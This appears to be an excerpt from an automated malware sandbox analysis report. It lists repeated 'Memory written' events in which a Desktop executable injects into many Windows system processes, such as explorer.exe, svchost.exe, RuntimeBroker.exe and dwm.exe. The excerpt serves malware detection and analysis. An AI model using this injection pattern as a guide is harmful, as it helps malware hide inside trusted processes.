Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\explorer.exe base: B780000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 330000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: A80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 670000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 1B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: AD0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\smartscreen.exe base: 8E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: FC0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: AF0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 5E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 5C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\backgroundTaskHost.exe base: C10000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: C30000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: B60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dllhost.exe base: D20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: BB0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: FA0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: F70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: 1F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dwm.exe base: 6C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\sihost.exe base: D80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 450000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 930000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ctfmon.exe base: 850000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\explorer.exe base: B790000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 340000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: A90000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 680000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 1C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: AE0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\smartscreen.exe base: 8F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: FD0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 200000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A00000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: B00000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 5F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 5D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\backgroundTaskHost.exe base: C20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: C40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: B70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dllhost.exe base: D30000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: BC0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: FB0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: F80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: 200000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dwm.exe base: 6D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\sihost.exe base: D90000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 460000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 940000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ctfmon.exe base: 860000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\explorer.exe base: B7A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 350000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: AA0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 690000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 1D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: AF0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\smartscreen.exe base: 900000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: FE0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A10000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: B10000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 600000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 5E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\backgroundTaskHost.exe base: C30000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: C50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: B80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dllhost.exe base: D40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: BD0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: FC0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: F90000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: 210000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dwm.exe base: 6E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\sihost.exe base: DA0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 470000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 950000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ctfmon.exe base: 870000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\explorer.exe base: B7B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 360000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: AB0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 6A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 1E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: B00000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A00000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\smartscreen.exe base: 910000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: FF0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 220000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: B20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 610000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 5F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\backgroundTaskHost.exe base: C40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: C60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: B90000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dllhost.exe base: D50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: BE0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: FD0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: FA0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: 220000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dwm.exe base: 6F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\sihost.exe base: DB0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 480000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 960000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ctfmon.exe base: 880000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\explorer.exe base: DD50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 370000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: AC0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 6B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 1F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: B10000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A10000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\smartscreen.exe base: 920000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1000000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 230000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A30000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: B30000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 620000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 600000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\backgroundTaskHost.exe base: C50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: C70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: BA0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dllhost.exe base: D60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: BF0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: FE0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: FB0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: 230000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dwm.exe base: 700000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\sihost.exe base: DC0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 490000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 970000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ctfmon.exe base: 890000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\explorer.exe base: DD60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 380000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: AD0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 6C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 200000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: B20000 Jump to behavior
